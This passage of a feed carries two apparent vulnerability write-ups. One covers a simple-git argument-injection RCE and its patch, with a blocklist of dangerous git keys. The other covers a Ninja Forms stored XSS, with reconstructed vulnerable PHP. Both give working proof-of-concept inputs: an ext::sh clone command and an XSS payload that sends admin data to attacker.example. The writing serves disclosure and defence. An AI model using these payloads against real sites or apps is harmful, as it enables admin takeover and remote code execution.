&lt;strong&gt;①&lt;/strong&gt; The first argument to &lt;code&gt;clone()&lt;/code&gt; is normally where a real repository URL goes. Passing &lt;code&gt;ext::sh -c touch% /tmp/pwned% &amp;gt;&amp;amp;2&lt;/code&gt; tells git: "clone via the &lt;code&gt;ext&lt;/code&gt; protocol, and run &lt;code&gt;sh -c touch /tmp/pwned&lt;/code&gt; as the helper command." (&lt;code&gt;%&lt;/code&gt; is how git encodes spaces inside this kind of URL.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;②&lt;/strong&gt; The second argument is just the normal clone destination path — irrelevant to the attack itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;③&lt;/strong&gt; The third argument is the crux. &lt;code&gt;--config&lt;/code&gt; and &lt;code&gt;protocol.ext.allow=always&lt;/code&gt; are passed as &lt;strong&gt;two separate array elements&lt;/strong&gt;. This has the exact same effect as &lt;code&gt;-c protocol.ext.allow=always&lt;/code&gt; from git's perspective — but &lt;code&gt;simple-git&lt;/code&gt;'s blocklist only looks for the literal string &lt;code&gt;'-c'&lt;/code&gt;, so the &lt;code&gt;'--config'&lt;/code&gt; token sails right past it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Under the hood, &lt;code&gt;simple-git&lt;/code&gt; ends up executing exactly this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone &lt;span class="nt"&gt;--config&lt;/span&gt; protocol.ext.allow&lt;span class="o"&gt;=&lt;/span&gt;always &lt;span class="s2"&gt;"ext::sh -c touch% /tmp/pwned% &amp;gt;&amp;amp;2"&lt;/span&gt; /tmp/example-new-repo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once this command runs, the &lt;code&gt;ext::&lt;/code&gt; helper process executes &lt;em&gt;before&lt;/em&gt; git reports a clone failure (since the "repository" doesn't actually exist), creating &lt;code&gt;/tmp/pwned&lt;/code&gt;. In other words, &lt;strong&gt;even if the final clone fails, the command execution has already succeeded&lt;/strong&gt; — an application that catches the clone failure gracefully has no indication that it was already compromised.&lt;/p&gt;

&lt;p&gt;Mapped onto a realistic application scenario, the danger becomes clearer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The application's intended, safe-looking call&lt;/span&gt;
&lt;span class="nf"&gt;simpleGit&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://github.com/my-org/my-repo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/tmp/workdir&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;userSuppliedOptions&lt;/span&gt; &lt;span class="c1"&gt;// an options array under user control&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// But if an attacker can inject these two values into userSuppliedOptions...&lt;/span&gt;
&lt;span class="nx"&gt;userSuppliedOptions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;--config&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;protocol.ext.allow=always&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// ...and also control the clone URL itself, it's a direct path to RCE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Patch Analysis (simple-git 3.36.0)
&lt;/h2&gt;

&lt;p&gt;The fix isn't just "add &lt;code&gt;--config&lt;/code&gt; to the blocklist" — it's a meaningfully larger architectural change, touching 29 files and 1,000+ lines under the commit name "Environment Parsing."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6-1. Expanded config-key blocklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The old &lt;code&gt;detect-config-writes.ts&lt;/code&gt; blocked only six keys: &lt;code&gt;protocol.allow&lt;/code&gt;, &lt;code&gt;core.sshCommand&lt;/code&gt;, &lt;code&gt;core.fsmonitor&lt;/code&gt;, &lt;code&gt;core.gitProxy&lt;/code&gt;, &lt;code&gt;core.hooksPath&lt;/code&gt;, &lt;code&gt;diff.external&lt;/code&gt;. The new &lt;code&gt;detect-vulnerable-config-writes.ts&lt;/code&gt; introduces a &lt;code&gt;preventExpandedConfigBuilder&lt;/code&gt; helper with an expanded regex that also catches scoped variants like &lt;code&gt;credential.https://example.com.helper&lt;/code&gt;, and adds blocking for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;alias.*&lt;/code&gt; — registering arbitrary commands as git aliases&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;core.askPass&lt;/code&gt;, &lt;code&gt;core.editor&lt;/code&gt;, &lt;code&gt;core.pager&lt;/code&gt; — binary substitution&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;credential.helper&lt;/code&gt; — credential interception&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;diff.textconv&lt;/code&gt;, &lt;code&gt;filter.clean&lt;/code&gt;, &lt;code&gt;filter.smudge&lt;/code&gt; — content-filter chains that can intercept file contents&lt;/li&gt;
&lt;li&gt;the &lt;code&gt;gpg.program&lt;/code&gt; family — signing-binary substitution&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;merge.driver&lt;/code&gt;, &lt;code&gt;mergetool.cmd&lt;/code&gt; — code execution at merge time&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sequence.editor&lt;/code&gt; — binary substitution during rebase&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;6-2. Expanded flag detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The old &lt;code&gt;detect-upload-pack.ts&lt;/code&gt;, which only caught &lt;code&gt;--upload-pack&lt;/code&gt;/&lt;code&gt;--receive-pack&lt;/code&gt;-style flags, is replaced by &lt;code&gt;detect-vulnerable-flags.ts&lt;/code&gt;, which now also blocks &lt;code&gt;--template&lt;/code&gt; (hook-planting via a custom template directory).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6-3. Environment variable scanning — an entirely new line of defense&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the most important change in the patch. Git accepts the same kind of config injection not just via &lt;code&gt;-c&lt;/code&gt;/&lt;code&gt;--config&lt;/code&gt; on the command line, but also via &lt;strong&gt;environment variables&lt;/strong&gt; like &lt;code&gt;GIT_CONFIG_COUNT&lt;/code&gt;, &lt;code&gt;GIT_CONFIG_KEY_n&lt;/code&gt;, and &lt;code&gt;GIT_CONFIG_VALUE_n&lt;/code&gt;. That means filtering command-line arguments alone could never be a complete fix. The new &lt;code&gt;parseEnv()&lt;/code&gt; function maps dangerous environment variables (&lt;code&gt;GIT_ASKPASS&lt;/code&gt;, &lt;code&gt;GIT_SSH_COMMAND&lt;/code&gt;, &lt;code&gt;GIT_CONFIG_COUNT&lt;/code&gt;, &lt;code&gt;GIT_EXTERNAL_DIFF&lt;/code&gt;, &lt;code&gt;GIT_PROXY_COMMAND&lt;/code&gt;, and more), and when &lt;code&gt;GIT_CONFIG_COUNT&lt;/code&gt; is set, extracts the corresponding &lt;code&gt;GIT_CONFIG_KEY_n&lt;/code&gt;/&lt;code&gt;VALUE_n&lt;/code&gt; pairs and runs them through the same blocklist check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before the patch: only arguments are checked&lt;/span&gt;
&lt;span class="nf"&gt;action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseArgv&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vulnerabilities&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vulnerabilities&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* throw */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// After the patch: arguments AND environment variables are checked&lt;/span&gt;
&lt;span class="nf"&gt;action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nf"&gt;vulnerabilityCheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* throw */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In plain terms: the gatekeeper used to only look at "what came in on the command line." Now it also checks "what's been smuggled in through environment variables to achieve the same config injection." Even if an attacker's command-line arguments slip past validation, the same attack attempted through environment variables now gets caught by &lt;code&gt;vulnerabilityCheck()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6-4. A more granular opt-in model&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The patch introduces per-category opt-in flags — &lt;code&gt;allowUnsafeAlias&lt;/code&gt;, &lt;code&gt;allowUnsafeCredentialHelper&lt;/code&gt;, &lt;code&gt;allowUnsafeTemplateDir&lt;/code&gt;, and more — so developers who genuinely need one of these features can explicitly enable it for trusted input only. &lt;code&gt;VulnerabilityCategoryFlags&lt;/code&gt;, which previously had 7 entries, now has more than 20.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Why This Keeps Happening — The Structural Cause
&lt;/h2&gt;

&lt;p&gt;This is the third related vulnerability in &lt;code&gt;simple-git&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2022-25912&lt;/strong&gt;: the original RCE via the &lt;code&gt;-c&lt;/code&gt; flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-28292&lt;/strong&gt;: bypassing the case-sensitive regex with uppercase &lt;code&gt;PROTOCOL.ALLOW=always&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-6951&lt;/strong&gt;: bypassing the blocklist entirely via the &lt;code&gt;--config&lt;/code&gt; synonym&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All three share the same root cause. A blocklist that &lt;strong&gt;matches one exact dangerous pattern&lt;/strong&gt; will always be bypassable the moment a different spelling with the same meaning exists — short vs. long form, case variants, environment-variable paths, and so on. The fact that the 3.36.0 patch widens the defense to cover environment variables as well as command-line arguments is effectively an admission that single-point blocklists have a hard ceiling, and a move toward defense in depth instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Remediation
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Upgrade&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;npm install simple-git@latest&lt;/code&gt; (3.36.0 or later)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Watch for partial upgrades&lt;/td&gt;
&lt;td&gt;Mismatched sub-package versions (e.g. &lt;code&gt;@simple-git/argv-parser&lt;/code&gt;) can cause &lt;code&gt;TypeError&lt;/code&gt;s in CI — regenerating &lt;code&gt;yarn.lock&lt;/code&gt;/&lt;code&gt;package-lock.json&lt;/code&gt; entirely is recommended&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validate input&lt;/td&gt;
&lt;td&gt;Never pass untrusted input directly into &lt;code&gt;options&lt;/code&gt;/&lt;code&gt;customArgs&lt;/code&gt; — map it through an allowlist of accepted values instead&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Least privilege&lt;/td&gt;
&lt;td&gt;Run the process that invokes simple-git under a sandboxed or restricted-privilege account&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>node</category>
      <category>npm</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>CVE-2026-94504 Analysis: Ninja Forms Stored XSS – Bypassing the Admin Screen with a Single `&lt;/textarea&gt;` Line</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 06 Oct 2026 00:47:14 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-94504-analysis-ninja-forms-stored-xss-bypassing-the-admin-screen-with-a-single-2fmd</link>
      <guid>https://dev.to/guidance_white/cve-2026-94504-analysis-ninja-forms-stored-xss-bypassing-the-admin-screen-with-a-single-2fmd</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fos5f0pefth6is9ugo7ga.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fos5f0pefth6is9ugo7ga.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  At a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;CVE-2026-94504&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;WordPress plugin Ninja Forms (kstover) ≤ 3.15.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-79 (Improper Neutralization of Input During Web Page Generation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;7.2 (High) — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth required&lt;/td&gt;
&lt;td&gt;Attacker: none (unauthenticated) / Trigger: admin must view the submission&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched in&lt;/td&gt;
&lt;td&gt;3.15.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credit&lt;/td&gt;
&lt;td&gt;Hippolyte Quéré (Hippie)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Ninja Forms treats textarea fields in two flavors: fields with the rich text editor (RTE) enabled, and plain "non-RTE" textareas. When a non-RTE field's value is rendered in the &lt;strong&gt;legacy submission editor screen&lt;/strong&gt;, the plugin skips &lt;code&gt;esc_textarea()&lt;/code&gt; entirely and then runs the value through &lt;code&gt;html_entity_decode()&lt;/code&gt; before echoing it. The practical result: an unauthenticated visitor can submit a public form with a &lt;code&gt;&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code&gt; style payload, and the moment an admin opens that submission in wp-admin, the payload executes in the admin's session context.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the bug actually lives
&lt;/h2&gt;

&lt;p&gt;The bug is the result of three pieces interacting badly.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) &lt;code&gt;includes/Fields/Textarea.php&lt;/code&gt; — the escaping branch is missing
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// includes/Fields/Textarea.php (3.15.3, reconstructed)&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;NF_Fields_Textarea&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;NF_Abstracts_Field&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'textarea'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// How the value gets rendered in admin screens depends on whether RTE is on.&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;format_value_for_admin_table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_setting&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'rte'&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// ❌ No esc_textarea() / esc_html() call here.&lt;/span&gt;
            &lt;span class="c1"&gt;// The raw submitted string is returned as-is.&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;wp_kses_post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// RTE fields at least go through wp_kses_post&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A correct implementation would still escape the non-RTE branch — &lt;code&gt;return esc_textarea( $value );&lt;/code&gt; — but the plugin assumes "it's plain text, so there's nothing to escape," and that assumption is wrong the moment the value is later echoed inside an HTML attribute or tag.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) &lt;code&gt;includes/Database/Models/Submission.php&lt;/code&gt; — undoing the escaping
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// includes/Database/Models/Submission.php (3.15.3, reconstructed, ~L205)&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;NF_Database_Models_Submission&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;NF_Abstracts_Model&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;get_field_value_for_editor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$field_id&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_field_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$field_id&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// raw stored submission value&lt;/span&gt;

        &lt;span class="c1"&gt;// ⚠️ Decoded again for legacy editor compatibility —&lt;/span&gt;
        &lt;span class="c1"&gt;// e.g. an '&amp;amp;lt;' that was stored encoded gets turned back into '&amp;lt;'.&lt;/span&gt;
        &lt;span class="nv"&gt;$value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;html_entity_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ENT_QUOTES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTF-8'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This &lt;code&gt;html_entity_decode()&lt;/code&gt; call is the crux of it. Even if WordPress's sanitization earlier in the pipeline encoded some characters, this function reverses that right before the value is rendered in the editor — defeating whatever protection existed at storage time.&lt;/p&gt;

&lt;h3&gt;
  
  
  3) The template — decoded value dropped straight into &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// legacy submission editor template (reconstructed)
&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"widefat"&lt;/span&gt; &lt;span class="na"&gt;rows=&lt;/span&gt;&lt;span class="s"&gt;"6"&lt;/span&gt; &lt;span class="na"&gt;disabled&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$submission&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_field_value_for_editor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$field_id&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// ❌ no escaping on output ?&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;textarea&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;esc_textarea()&lt;/code&gt; had been applied anywhere in this chain, a &lt;code&gt;&amp;lt;/textarea&amp;gt;&lt;/code&gt; in the payload would have been rendered as &lt;code&gt;&amp;amp;lt;/textarea&amp;amp;gt;&lt;/code&gt; — inert text. Instead, step 1 skips escaping, step 2 decodes any remaining entities, and step 3 echoes the result directly, so an attacker-supplied &lt;code&gt;&amp;lt;/textarea&amp;gt;&lt;/code&gt; actually closes the tag early and whatever follows it is parsed as live HTML.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack flow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Unauthenticated payload submission.&lt;/strong&gt; An attacker submits something like the following into a public form's non-RTE field (e.g. the "Message" field on a default "Contact Me" form):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   &amp;lt;/textarea&amp;gt;&amp;lt;img src=x onerror="fetch('/wp-json/wp/v2/users/me',{headers:{'X-WP-Nonce':wpApiSettings.nonce}}).then(r=&amp;gt;r.json()).then(d=&amp;gt;fetch('https://attacker.example/c?u='+d.slug))"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This goes through &lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt;'s &lt;code&gt;nf_ajax_submit&lt;/code&gt; action, which only needs the public page's AJAX nonce — no login required.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Storage.&lt;/strong&gt; Ninja Forms writes this value into the submissions table unchanged.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trigger (requires admin action).&lt;/strong&gt; When an admin opens that submission under wp-admin → Submissions, the code path above runs: &lt;code&gt;html_entity_decode()&lt;/code&gt; followed by an unescaped &lt;code&gt;echo&lt;/code&gt;. The &lt;code&gt;&amp;lt;/textarea&amp;gt;&lt;/code&gt; closes the tag for real, and the trailing &lt;code&gt;&amp;lt;img onerror=...&amp;gt;&lt;/code&gt; executes &lt;strong&gt;in the admin's browser, with the admin's session cookies and REST nonce&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact.&lt;/strong&gt; The executed script can call REST endpoints (&lt;code&gt;/wp/v2/users&lt;/code&gt;, plugin installation endpoints, etc.) with admin privileges — enough to change the admin password, create a backdoor admin account, or upload a malicious plugin.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This isn't a true zero-click chain since it requires an admin to open the specific submission, but Ninja Forms admins routinely review new submissions, so the real-world trigger window is small.&lt;/p&gt;




&lt;h2&gt;
  
  
  Diagram description
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3wo9f6wat7erj4vni4rw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3wo9f6wat7erj4vni4rw.png" alt=" " width="800" height="362"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For the attack-flow diagram embedded in this post, the layout follows four numbered stages, styled consistently with the Korean version: white cards with a thin colored left-accent bar, dark navy circular number badges, curved gray connectors with small labels, no pastel fills.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Node 1 (red accent bar):&lt;/strong&gt; "Attacker — unauthenticated." Public form, non-RTE textarea, submits the &lt;code&gt;&amp;lt;/textarea&amp;gt;&amp;lt;img onerror=...&amp;gt;&lt;/code&gt; payload. Arrow labeled "POST (unauthenticated)" points to &lt;code&gt;admin-ajax.php?action=nf_ajax_submit&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
